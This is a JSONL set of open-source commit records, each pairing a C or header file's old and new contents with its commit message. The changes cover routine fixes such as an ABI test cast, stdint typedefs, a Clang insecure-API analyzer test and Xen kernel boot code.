{"commit":"7ad25fb1b0ea83c40a3c2a0c8bfa9e378626ec4f","old_file":"STM\/FindArg.h","new_file":"STM\/FindArg.h","old_contents":"","new_contents":"#include <type_traits>\n\n\nnamespace WSTM\n{\n   \/\/!{\n   \/**\n    * Finds the given type in the given pack of arguments. This is useful for having variadic\n    * argument lists for functions. To have variadic arguments in a function just make the function\n    * a template and take a parameter pack of arguments. Then use findArg to find any given type in\n    * the parameter pack (each argument you want to be able to find needs to have a unique type,\n    * which is easy to arrange by using the FIND_ARG__MAKE_ARG_TYPE macro). findArg will return the\n    * argument of the given type or a default constructed object of the given type if there was no\n    * object of the given type in the argument pack.\n    *\/\n   template <typename Wanted_t, typename A_t, typename ... As_t>\n   std::enable_if_t<std::is_same<Wanted_t, A_t>::value, Wanted_t> findArg (const A_t& a, const As_t&...)\n   {\n      return a;\n   }\n\n   template <typename Wanted_t, typename A_t, typename ... As_t>\n   std::enable_if_t<!std::is_same<Wanted_t, A_t>::value, Wanted_t> findArg (const A_t&, const As_t&... as)\n   {\n      return findArg<Wanted_t> (as...);\n   }\n\n   template <typename Wanted_t, typename A_t>\n   std::enable_if_t<std::is_same<Wanted_t, A_t>::value, Wanted_t> findArg (const A_t& a)\n   {\n      return a;\n   }\n\n   template <typename Wanted_t, typename A_t>\n   std::enable_if_t<!std::is_same<Wanted_t, A_t>::value, Wanted_t> findArg (const A_t&)\n   {\n      return Wanted_t ();\n   }\n\n   template <typename Wanted_t>\n   typename Wanted_t findArg ()\n   {\n      return Wanted_t ();\n   }\n   \/\/!}\n   \n   \/**\n    * Creates a type for use with findArg. The created type will have a \"m_value\" member that\n    * contains the actual value for the argument.\n    *\n    * @param type The type for m_value.\n    * @param name The name that shoudl be given to the create type.\n    * @param def The default value for m_value.\n    *\/\n#define MAKE_ARG_TYPE(type, name, def)             \\\n   struct name                                     \\\n   {                                               \\\n      type m_value;                                \\\n      name () : m_value (def) {}                   \\\n      name (const type value) : m_value (value) {} \\\n   };\/\/\n   \n}\n","subject":"Create fidnArgs to replace CombinatorArgs","message":"Create fidnArgs to replace CombinatorArgs\n","lang":"C","license":"bsd-3-clause","repos":"bretthall\/Wyatt-STM"}
{"commit":"eff9494ed346005f825ccdd6fcdd3fa425041023","old_file":"include\/bignum-conf.h","new_file":"include\/bignum-conf.h","old_contents":"\/* Configuration for the mruby-bignum gem *\/\n\n#ifndef MRB_BIGNUM_CONF_H\n#define MRB_BIGNUM_CONF_H\n\n\/* Size of a Bignum digit:  16, 32 or 64 *\/\n\/* If not defined, this is the same size as a Fixnum *\/\n\/* To use MRB_BIGNUM_BIT == 64, the compiler must support unsigned __int128 *\/\n#define MRB_BIGNUM_BIT 64\n\n\/* Define to enable recursive algorithms for multiplication, division,\n   squaring, and conversion to and from strings *\/\n#define MRB_BIGNUM_ENABLE_RECURSION\n\n\/* Cutoffs for recursive multiplication, squaring and division *\/\n#define MRB_BIGNUM_MUL_RECURSION_CUTOFF 32\n#define MRB_BIGNUM_SQR_RECURSION_CUTOFF 64\n#define MRB_BIGNUM_DIV_RECURSION_CUTOFF 32\n\n#endif\n","new_contents":"\/* Configuration for the mruby-bignum gem *\/\n\n#ifndef MRB_BIGNUM_CONF_H\n#define MRB_BIGNUM_CONF_H\n\n\/* Size of a Bignum digit:  16, 32 or 64 *\/\n\/* If not defined, this is the same size as a Fixnum *\/\n\/* To use MRB_BIGNUM_BIT == 64, the compiler must support unsigned __int128 *\/\n#define MRB_BIGNUM_BIT 32\n\n\/* Define to enable recursive algorithms for multiplication, division,\n   squaring, and conversion to and from strings *\/\n#define MRB_BIGNUM_ENABLE_RECURSION\n\n\/* Cutoffs for recursive multiplication, squaring and division *\/\n#define MRB_BIGNUM_MUL_RECURSION_CUTOFF 32\n#define MRB_BIGNUM_SQR_RECURSION_CUTOFF 64\n#define MRB_BIGNUM_DIV_RECURSION_CUTOFF 32\n\n#endif\n","subject":"Set the default bit width to 32.","message":"Set the default bit width to 32.\n\n32 bit Bignums don't need any non-C99 features.\n","lang":"C","license":"mit","repos":"chasonr\/mruby-bignum,chasonr\/mruby-bignum"}
{"commit":"42150430ce7cbcee73173c7b8302c24f2efbae76","old_file":"testsuite\/abi.c","new_file":"testsuite\/abi.c","old_contents":"\n#ifdef HAVE_CONFIG_H\n#include \"config.h\"\n#endif\n\n#include <orc\/orc.h>\n\n#include <stdio.h>\n\n\nint main (int argc, char *argv[])\n{\n  int offset;\n  int expected_offset;\n  int error = 0;\n\n  offset = ((int) ((unsigned char *) &((OrcProgram*) 0)->code_exec));\n\n  if (sizeof(void *) == 4) {\n    expected_offset = 8360;\n  } else {\n    expected_offset = 9688;\n  }\n\n  if (offset != expected_offset) {\n    printf(\"ABI bug: OrcProgram->code_exec should be at offset %d instead of %d\\n\",\n        offset, expected_offset);\n    error = 1;\n  }\n\n  return error;\n}\n\n","new_contents":"\n#ifdef HAVE_CONFIG_H\n#include \"config.h\"\n#endif\n\n#include <orc\/orc.h>\n\n#include <stdio.h>\n\n\nint main (int argc, char *argv[])\n{\n  long offset;\n  int expected_offset;\n  int error = 0;\n\n  offset = ((long) ((unsigned char *) &((OrcProgram*) 0)->code_exec));\n\n  if (sizeof(void *) == 4) {\n    expected_offset = 8360;\n  } else {\n    expected_offset = 9688;\n  }\n\n  if (offset != expected_offset) {\n    printf(\"ABI bug: OrcProgram->code_exec should be at offset %ld instead of %d\\n\",\n        offset, expected_offset);\n    error = 1;\n  }\n\n  return error;\n}\n\n","subject":"Fix compilation of the ABI test on 64 bit architectures","message":"tests: Fix compilation of the ABI test on 64 bit architectures\n\nCasting a pointer to a plain int will cause a compiler error, use long instead.\n","lang":"C","license":"bsd-3-clause","repos":"MOXfiles\/orc,Distrotech\/orc,ahmedammar\/platform_external_gst_liborc,jpakkane\/orc,jpakkane\/orc,ahmedammar\/platform_external_gst_liborc,MOXfiles\/orc,ijsf\/OpenWebRTC-orc,okuoku\/nmosh-orc,MOXfiles\/orc,Distrotech\/orc,okuoku\/nmosh-orc,mojaves\/orc,Distrotech\/orc,ijsf\/OpenWebRTC-orc,mojaves\/orc,ijsf\/OpenWebRTC-orc,jpakkane\/orc,mojaves\/orc,okuoku\/nmosh-orc"}
{"commit":"27575f2a32ef4fd1f6bd6987b86473791ff394f7","old_file":"test\/arduino_compat.h","new_file":"test\/arduino_compat.h","old_contents":"#ifndef _ARDUINO_COMPAT_H\n#define _ARDUINO_COMPAT_H\n\n#include <stdio.h>\n#include <stdlib.h>\n\/\/#include <sys\/types.h>\n\/\/#include <sys\/stat.h>\n#include <fcntl.h>\n\n#include <ctype.h>\n\n#include <string.h>\n\ntypedef unsigned char uint8_t;\ntypedef unsigned short uint16_t;\ntypedef unsigned long uint32_t;\ntypedef bool boolean;\n\/\/#define uint8_t unsigned char\n\n#define FILE_READ O_RDONLY\n#define FILE_WRITE (O_RDWR | O_CREAT)\n\n#endif\n","new_contents":"#ifndef _ARDUINO_COMPAT_H\n#define _ARDUINO_COMPAT_H\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n\/\/#include <sys\/types.h>\n\/\/#include <sys\/stat.h>\n#include <fcntl.h>\n\n#include <ctype.h>\n\n#include <string.h>\n\ntypedef bool boolean;\n\/\/#define uint8_t unsigned char\n\n#define FILE_READ O_RDONLY\n#define FILE_WRITE (O_RDWR | O_CREAT)\n\n#endif\n","subject":"Use stdint.h for unsigned integer typedefs","message":"Use stdint.h for unsigned integer typedefs\n\nFixes problem compiling regression tests on 64 bit OS.\n","lang":"C","license":"lgpl-2.1","repos":"stevemarple\/IniFile,stevemarple\/IniFile"}
{"commit":"a7deb40634762debd15fe2e3f13c869aef9608d8","old_file":"source\/SoAd.h","new_file":"source\/SoAd.h","old_contents":"\/* Copyright (C) 2015 Joakim Plate\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n *\/\n\n#ifndef SOAD_H_\n#define SOAD_H_\n\n#include \"TcpIp.h\"\n\ntypedef struct {\n    uint8 dummy;\n} SoAd_SocketConnection;\n\ntypedef struct {\n    uint32 headerid;\n\n} SoAd_SocketRoute;\n\ntypedef struct {\n    uint8 dummy;\n} SoAd_ConfigType;\n\nvoid SoAd_Init(const SoAd_ConfigType* config);\nvoid SoAd_MainFunction(void);\n\n#endif\n","new_contents":"\/* Copyright (C) 2015 Joakim Plate\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n *\/\n\n#ifndef SOAD_H_\n#define SOAD_H_\n\n#include \"TcpIp.h\"\n\n#define SOAD_MODULEID   56u\n#define SOAD_INSTANCEID 0u\n\ntypedef struct {\n    uint8 dummy;\n} SoAd_SocketConnection;\n\ntypedef struct {\n    uint32 headerid;\n\n} SoAd_SocketRoute;\n\ntypedef struct {\n    uint8 dummy;\n} SoAd_ConfigType;\n\nvoid SoAd_Init(const SoAd_ConfigType* config);\nvoid SoAd_MainFunction(void);\n\n#endif\n","subject":"Add moduleid and instance id","message":"Add moduleid and instance id\n","lang":"C","license":"lgpl-2.1","repos":"elupus\/autosar-soad,elupus\/autosar-soad"}
{"commit":"614310c7aedf3273523352b1ee16660e7bbf9601","old_file":"test\/Analysis\/security-syntax-checks.c","new_file":"test\/Analysis\/security-syntax-checks.c","old_contents":"\/\/ RUN: %clang_analyze_cc1 %s -verify \\\n\/\/ RUN:   -analyzer-checker=security.insecureAPI\n\nvoid builtin_function_call_crash_fixes(char *c) {\n  __builtin_strncpy(c, \"\", 6); \/\/ expected-warning{{Call to function 'strncpy' is insecure as it does not provide security checks introduced in the C11 standard.}}\n  __builtin_memset(c, '\\0', (0)); \/\/ expected-warning{{Call to function 'memset' is insecure as it does not provide security checks introduced in the C11 standard.}}\n  __builtin_memcpy(c, c, 0); \/\/ expected-warning{{Call to function 'memcpy' is insecure as it does not provide security checks introduced in the C11 standard.}}\n}\n","new_contents":"\/\/ RUN: %clang_analyze_cc1 %s -verify \\\n\/\/ RUN:   -analyzer-checker=security.insecureAPI\n\/\/ RUN: %clang_analyze_cc1 %s -verify -std=gnu11 \\\n\/\/ RUN:   -analyzer-checker=security.insecureAPI\n\/\/ RUN: %clang_analyze_cc1 %s -verify -std=gnu99 \\\n\/\/ RUN:   -analyzer-checker=security.insecureAPI\n\nvoid builtin_function_call_crash_fixes(char *c) {\n  __builtin_strncpy(c, \"\", 6);\n  __builtin_memset(c, '\\0', (0));\n  __builtin_memcpy(c, c, 0);\n\n#if __STDC_VERSION__ > 199901\n  \/\/ expected-warning@-5{{Call to function 'strncpy' is insecure as it does not provide security checks introduced in the C11 standard.}}\n  \/\/ expected-warning@-5{{Call to function 'memset' is insecure as it does not provide security checks introduced in the C11 standard.}}\n  \/\/ expected-warning@-5{{Call to function 'memcpy' is insecure as it does not provide security checks introduced in the C11 standard.}}\n#else\n  \/\/ expected-no-diagnostics\n#endif\n}\n","subject":"Fix test on PS4 which defaults to gnu99 which does not emit the expected warnings.","message":"Fix test on PS4 which defaults to gnu99 which does not emit the expected warnings.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@358626 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"21ebc95f83d4a857ffbbd13d1332d919f4752614","old_file":"check_tests\/eas_main_tests.c","new_file":"check_tests\/eas_main_tests.c","old_contents":"#include <stdlib.h>\n#include <check.h>\n\nSuite* eas_daemon_suite (void);\nSuite* eas_autodiscover_suite (void);\nSuite* eas_libeasmail_suite (void);\nSuite* eas_libeascal_suite (void);\nSuite* eas_libeassync_suite (void);\nSuite* eas_libeascon_suite (void);\nSuite* eas_folderhierarchy_suite (void);\n\nint main (void)\n{\n    int number_failed;\n\n    SRunner* sr = srunner_create (eas_daemon_suite());\n\n\/\/ Only to be used manually, updating the sync key to see manual \n\/\/ changes on the server reflected to the client\n\/\/   srunner_add_suite (sr, eas_folderhierarchy_suite());\n\n    srunner_add_suite (sr, eas_autodiscover_suite());\n    srunner_add_suite (sr, eas_libeasmail_suite());\n    srunner_add_suite (sr, eas_libeascal_suite());\n\/\/    srunner_add_suite (sr, eas_libeassync_suite());\n    srunner_add_suite (sr, eas_libeascon_suite()); \n\tsrunner_set_xml (sr, \"eas-daemon_test.xml\");\n    srunner_set_log (sr, \"eas-daemon_test.log\");\n    srunner_run_all (sr, CK_NORMAL);\n    number_failed = srunner_ntests_failed (sr);\n    srunner_free (sr);\n    return (number_failed == 0) ? EXIT_SUCCESS : EXIT_FAILURE;\n}\n","new_contents":"#include <stdlib.h>\n#include <check.h>\n\nSuite* eas_daemon_suite (void);\nSuite* eas_autodiscover_suite (void);\nSuite* eas_libeasmail_suite (void);\nSuite* eas_libeascal_suite (void);\nSuite* eas_libeassync_suite (void);\nSuite* eas_libeascon_suite (void);\nSuite* eas_folderhierarchy_suite (void);\n\nint main (void)\n{\n    int number_failed;\n\n    SRunner* sr = srunner_create (eas_daemon_suite());\n\n    \/** Only to be used manually, updating the sync key to see manual \n     *  changes on the server reflected to the client\n     *\/\n\/\/    srunner_add_suite (sr, eas_folderhierarchy_suite());\n\n    srunner_add_suite (sr, eas_autodiscover_suite());\n    srunner_add_suite (sr, eas_libeasmail_suite());\n    srunner_add_suite (sr, eas_libeascal_suite());\n    srunner_add_suite (sr, eas_libeassync_suite());\n    srunner_add_suite (sr, eas_libeascon_suite()); \n\n    srunner_set_xml (sr, \"eas-daemon_test.xml\");\n    srunner_set_log (sr, \"eas-daemon_test.log\");\n    srunner_run_all (sr, CK_NORMAL);\n    number_failed = srunner_ntests_failed (sr);\n    srunner_free (sr);\n    return (number_failed == 0) ? EXIT_SUCCESS : EXIT_FAILURE;\n}\n","subject":"Enable all test suites except the manual folder hierarchy one","message":"Enable all test suites except the manual folder hierarchy one\n","lang":"C","license":"lgpl-2.1","repos":"simo5\/evolution-activesync,simo5\/evolution-activesync,simo5\/evolution-activesync"}
{"commit":"8bc6d9116a731dd70366b9fcc3fba4f182df91f2","old_file":"c\/selective.h","new_file":"c\/selective.h","old_contents":"#ifndef _SELECTIVE_H\n#define _SELECTIVE_H\n\n#include \"psyco.h\"\n#include \"codemanager.h\"\n\n#define FUN_BOUND -1\n#define MAX_RECURSION 1\n\nEXTERNVAR PyObject* funcs;\nEXTERNVAR int ticks;\nEXTERNFN int do_selective(void *, PyFrameObject *, int, PyObject *);\n\n#endif\n","new_contents":"#ifndef _SELECTIVE_H\n#define _SELECTIVE_H\n\n#include \"psyco.h\"\n#include \"codemanager.h\"\n\n#define FUN_BOUND -1\n#define MAX_RECURSION 99\n\nEXTERNVAR PyObject* funcs;\nEXTERNVAR int ticks;\nEXTERNFN int do_selective(void *, PyFrameObject *, int, PyObject *);\n\n#endif\n","subject":"Set the MAX_RECURSION macro to 99 instead of 1","message":"Set the MAX_RECURSION macro to 99 instead of 1\n","lang":"C","license":"mit","repos":"tonysimpson\/Ni,tonysimpson\/Ni,tonysimpson\/Ni,tonysimpson\/Ni,tonysimpson\/Ni"}
{"commit":"76fea900b9aedf4f8063f36b4f45a0616cdee5bb","old_file":"odroid\/energymon-odroid-ioctl.h","new_file":"odroid\/energymon-odroid-ioctl.h","old_contents":"\/**\n * Energy reading for an ODROID with INA231 power sensors, using ioctl on\n * device files instead of sysfs.\n *\n * @author Connor Imes\n * @date 2015-10-14\n *\/\n#ifndef _ENERGYMON_ODROID_IOCTL_H_\n#define _ENERGYMON_ODROID_IOCTL_H_\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include <stddef.h>\n#include \"energymon.h\"\n\nint energymon_init_odroid_ioctl(energymon* em);\n\nuint64_t energymon_read_total_odroid_ioctl(const energymon* em);\n\nint energymon_finish_odroid_ioctl(energymon* em);\n\nchar* energymon_get_source_odroid_ioctl(char* buffer, size_t n);\n\nuint64_t energymon_get_interval_odroid_ioctl(const energymon* em);\n\nuint64_t energymon_get_precision_odroid_ioctl(const energymon* em);\n\nint energymon_is_exclusive_odroid_ioctl();\n\nint energymon_get_odroid_ioctl(energymon* em);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","new_contents":"\/**\n * Energy reading for an ODROID with INA231 power sensors, using ioctl on\n * device files instead of sysfs.\n *\n * @author Connor Imes\n * @date 2015-10-14\n *\/\n#ifndef _ENERGYMON_ODROID_IOCTL_H_\n#define _ENERGYMON_ODROID_IOCTL_H_\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include <inttypes.h>\n#include <stddef.h>\n#include \"energymon.h\"\n\nint energymon_init_odroid_ioctl(energymon* em);\n\nuint64_t energymon_read_total_odroid_ioctl(const energymon* em);\n\nint energymon_finish_odroid_ioctl(energymon* em);\n\nchar* energymon_get_source_odroid_ioctl(char* buffer, size_t n);\n\nuint64_t energymon_get_interval_odroid_ioctl(const energymon* em);\n\nuint64_t energymon_get_precision_odroid_ioctl(const energymon* em);\n\nint energymon_is_exclusive_odroid_ioctl();\n\nint energymon_get_odroid_ioctl(energymon* em);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","subject":"Add missing include (mostly for good practice as it's currently included transitively anyway)","message":"Add missing include (mostly for good practice as it's currently included transitively anyway)\n","lang":"C","license":"apache-2.0","repos":"energymon\/energymon"}
{"commit":"966a2dd4410d9aa4a15f7560a52b97626e787a91","old_file":"ghighlighter\/gh-about-dialog.c","new_file":"ghighlighter\/gh-about-dialog.c","old_contents":"#include <gtk\/gtk.h>\n\nGtkWidget *\ngh_about_dialog_create ()\n{\n  GtkWidget *dialog;\n\n  dialog = gtk_about_dialog_new ();\n\n  return dialog;\n}\n","new_contents":"#include <gtk\/gtk.h>\n\nGtkWidget *\ngh_about_dialog_create ()\n{\n  GtkWidget *dialog;\n\n  dialog = gtk_about_dialog_new ();\n\n  static gchar const *title = \"About ghighlighter\";\n\n  gtk_window_set_title (GTK_WINDOW (dialog), title);\n\n  return dialog;\n}\n","subject":"Set about dialog title through static const variable","message":"Set about dialog title through static const variable","lang":"C","license":"mit","repos":"chdorner\/ghighlighter-c"}
{"commit":"f9edd7237e870e4fb0c573f005b9cecf51eb91bd","old_file":"src\/arch\/xen\/kernel_init.c","new_file":"src\/arch\/xen\/kernel_init.c","old_contents":"","new_contents":"\/**\n * @file\n * @brief 2nd level boot on Xen\n *\n * @date    04.11.2016\n * @author  Andrey Golikov\n * @author  Anton Kozlov\n *\/\n\n#include <hal\/arch.h>\n#include <hal\/ipl.h>\n#include <drivers\/diag.h>\n#include <embox\/runlevel.h>\n#include <kernel\/printk.h>\n\n#include <xen\/features.h>\n#include <stdint.h>\n#include <xen\/xen.h>\n#include <hypercall-x86_32.h>\n#include <xen\/event_channel.h>\n#include <xen\/io\/console.h>\n#include \"event.h\"\n\nvoid kernel_start(void);\n\nuint8_t xen_features[XENFEAT_NR_SUBMAPS * 32];\n\nextern shared_info_t shared_info;\nextern void handle_input(evtchn_port_t port, struct pt_regs * regs);\n\nshared_info_t *HYPERVISOR_shared_info;\nstart_info_t * start_info_global;\n\nvoid kernel_start_xen(start_info_t * start_info) {\n\tHYPERVISOR_update_va_mapping((unsigned long) &shared_info, \n\t\t\t__pte(start_info->shared_info | 7),\n\t\t\tUVMF_INVLPG);\n\n\tstart_info_global = start_info;\n\tHYPERVISOR_shared_info = &shared_info;\n\t\n\tinit_events();\n\n\tkernel_start();\n}\n","subject":"Move xen kernel init from global files","message":"Move xen kernel init from global files\n","lang":"C","license":"bsd-2-clause","repos":"embox\/embox,embox\/embox,embox\/embox,embox\/embox,embox\/embox,embox\/embox"}
{"commit":"b430fafc3f57105e5c96f936e7a62b29117e8586","old_file":"include\/tce\/types.h","new_file":"include\/tce\/types.h","old_contents":"","new_contents":"typedef unsigned char uchar;\ntypedef unsigned short ushort;\ntypedef unsigned int uint;\n\n#define __EMBEDDED_PROFILE__ 1\n#undef cles_khr_int64\n#define cl_khr_fp16\n#undef cl_khr_fp64\n\ntypedef uint size_t;\ntypedef int ptrdiff_t;\ntypedef int intptr_t;\ntypedef uint uintptr_t;\n","subject":"Add removed TCE type definitions back.","message":"Add removed TCE type definitions back.\n","lang":"C","license":"mit","repos":"pocl\/pocl,pocl\/pocl,0charleschen0\/pocl,sting47\/pocl,vkorhonen\/pocl,vkorhonen\/pocl,maZZZu\/pocl,Oblomov\/pocl,0charleschen0\/pocl,franz\/pocl,0charleschen0\/pocl,Oblomov\/pocl,pocl\/pocl,dsandersimgtec\/pocl,Oblomov\/pocl,pavanky\/pocl,rjodin\/pocl,hugwijst\/pocl,franz\/pocl,jrprice\/pocl,franz\/pocl,pavanky\/pocl,pavanky\/pocl,rjodin\/pocl,pocl\/pocl,maZZZu\/pocl,dsandersimgtec\/pocl,Oblomov\/pocl,dsandersimgtec\/pocl,sting47\/pocl,hugwijst\/pocl,hugwijst\/pocl,sting47\/pocl,Oblomov\/pocl,rjodin\/pocl,hugwijst\/pocl,pocl\/pocl,rjodin\/pocl,franz\/pocl,sting47\/pocl,hugwijst\/pocl,jrprice\/pocl,sting47\/pocl,vkorhonen\/pocl,vkorhonen\/pocl,maZZZu\/pocl,dsandersimgtec\/pocl,jrprice\/pocl,jrprice\/pocl,0charleschen0\/pocl,maZZZu\/pocl,franz\/pocl,pavanky\/pocl"}
{"commit":"9fac183df59fc6aa4bb6c244cce394b9fa9993c1","old_file":"src\/core\/src\/NIOperations+Subclassing.h","new_file":"src\/core\/src\/NIOperations+Subclassing.h","old_contents":"\/\/\n\/\/ Copyright 2011-2014 NimbusKit\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\n@interface NIOperation()\n@property (strong) NSError* lastError;\n@end\n","new_contents":"\/\/\n\/\/ Copyright 2011-2014 NimbusKit\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n#import \"NIOperations.h\"\n\n@interface NIOperation()\n@property (strong) NSError* lastError;\n@end\n","subject":"Add proper import for NIOperations","message":"Add proper import for  NIOperations","lang":"C","license":"apache-2.0","repos":"bangquangvn\/nimbus,zilaiyedaren\/nimbus,zilaiyedaren\/nimbus,panume\/nimbus,panume\/nimbus,bangquangvn\/nimbus,WeeTom\/nimbus,bogardon\/nimbus,quyixia\/nimbus,kisekied\/nimbus,chanffdavid\/nimbus,bogardon\/nimbus,quyixia\/nimbus,JyHu\/nimbus,Arcank\/nimbus,dmishe\/nimbus,chanffdavid\/nimbus,kisekied\/nimbus,marcobgoogle\/nimbus,Arcank\/nimbus,compositeprimes\/nimbus,chanffdavid\/nimbus,dachaoisme\/nimbus,kisekied\/nimbus,michaelShab\/nimbus,kisekied\/nimbus,compositeprimes\/nimbus,kisekied\/nimbus,bogardon\/nimbus,panume\/nimbus,JyHu\/nimbus,bangquangvn\/nimbus,WeeTom\/nimbus,WeeTom\/nimbus,JyHu\/nimbus,chanffdavid\/nimbus,quyixia\/nimbus,marcobgoogle\/nimbus,jverkoey\/nimbus,bangquangvn\/nimbus,dmishe\/nimbus,quyixia\/nimbus,marcobgoogle\/nimbus,michaelShab\/nimbus,michaelShab\/nimbus,jverkoey\/nimbus,jverkoey\/nimbus,zilaiyedaren\/nimbus,michaelShab\/nimbus,dmishe\/nimbus,compositeprimes\/nimbus,dachaoisme\/nimbus,chanffdavid\/nimbus,quyixia\/nimbus,dachaoisme\/nimbus,quyixia\/nimbus,Arcank\/nimbus,panume\/nimbus,compositeprimes\/nimbus,bogardon\/nimbus,WeeTom\/nimbus,WeeTom\/nimbus,jverkoey\/nimbus,zilaiyedaren\/nimbus,Arcank\/nimbus,chanffdavid\/nimbus,bangquangvn\/nimbus,panume\/nimbus,michaelShab\/nimbus,quyixia\/nimbus,bogardon\/nimbus,marcobgoogle\/nimbus,jverkoey\/nimbus,compositeprimes\/nimbus,WeeTom\/nimbus,JyHu\/nimbus,michaelShab\/nimbus,bogardon\/nimbus,dmishe\/nimbus,bogardon\/nimbus,dmishe\/nimbus,marcobgoogle\/nimbus,compositeprimes\/nimbus,Arcank\/nimbus,bangquangvn\/nimbus,panume\/nimbus,marcobgoogle\/nimbus,kisekied\/nimbus,jverkoey\/nimbus,Arcank\/nimbus,jverkoey\/nimbus,dachaoisme\/nimbus,zilaiyedaren\/nimbus,dmishe\/nimbus,marcobgoogle\/nimbus,dachaoisme\/nimbus,JyHu\/nimbus,Arcank\/nimbus,JyHu\/nimbus,dachaoisme\/nimbus,zilaiyedaren\/nimbus,JyHu\/nimbus,compositeprimes\/nimbus"}
{"commit":"4868db0afaf583dc008e842b35c1701df732333b","old_file":"kernel\/init\/kmain.c","new_file":"kernel\/init\/kmain.c","old_contents":"#include <logging.h>\n#include <cedille\/pmm.h>\n#include <cedille\/heap.h>\nextern uint32_t _kernel_start,_kernel_end;\n\nvoid vmm_init();\nvoid kprocess_init();\nvoid timing_system_engine_reportstatustoconsole();\nvoid kernel_doperiodic(int force, int tick);\n\nint kernel_idle_process() {\n\tint i = 0;\n\tfor(;;) {\n\t\t\/\/ Attempt to reschedule other processes unless things need to be done\n\t\t\/\/ So, check if theres anything that needs to be done (like kernel state verification)\n\t\t\/\/ Execute that, make sure everything is preemptable\n\t\t\/\/ Then, attempt to reschedule processes if there isn't anything.\n\t\t\/\/ Otherwise cpu time is wasted.\n\t\tif(i != 500) {\n\t\t\tprintf(\"test%d\\n\",i++);\n\t\t}\n\t}\n\treturn 0;\n}\n\nint kmain() {\n\tlow_printname();\n\n\tinit_early_malloc(&_kernel_end);\n\tinit_pmm();\n\tvmm_init();\n\theap_init();\n\n\ttiming_system_engine_reportstatustoconsole();\n\n\tkernel_doperiodic(1,0); \/\/ Force stuff to happen once at the end of initialisation\n\n\tkernel_idle_process();\n\treturn 0;\n}\n","new_contents":"#include <logging.h>\n#include <cedille\/pmm.h>\n#include <cedille\/heap.h>\nextern uint32_t _kernel_start,_kernel_end;\n\nvoid vmm_init();\nvoid kprocess_init();\nvoid timing_system_engine_reportstatustoconsole();\nvoid kernel_doperiodic(int force, int tick);\n\nint kernel_idle_process() {\n\tfor(;;) {\n\t\t\/\/ Attempt to reschedule other processes unless things need to be done\n\t\t\/\/ So, check if theres anything that needs to be done (like kernel state verification)\n\t\t\/\/ Execute that, make sure everything is preemptable\n\t\t\/\/ Then, attempt to reschedule processes if there isn't anything.\n\t\t\/\/ Otherwise cpu time is wasted.\n\t}\n\treturn 0;\n}\n\nint kmain() {\n\tlow_printname();\n\n\tinit_early_malloc(&_kernel_end);\n\tinit_pmm();\n\tvmm_init();\n\theap_init();\n\n\ttiming_system_engine_reportstatustoconsole();\n\n\tkernel_doperiodic(1,0); \/\/ Force stuff to happen once at the end of initialisation\n\n\tkernel_idle_process();\n\treturn 0;\n}\n","subject":"Remove test scrolling code from idle_process","message":"Remove test scrolling code from idle_process\n","lang":"C","license":"mit","repos":"Lionel07\/Cedille,Lionel07\/Cedille,Lionel07\/Cedille"}
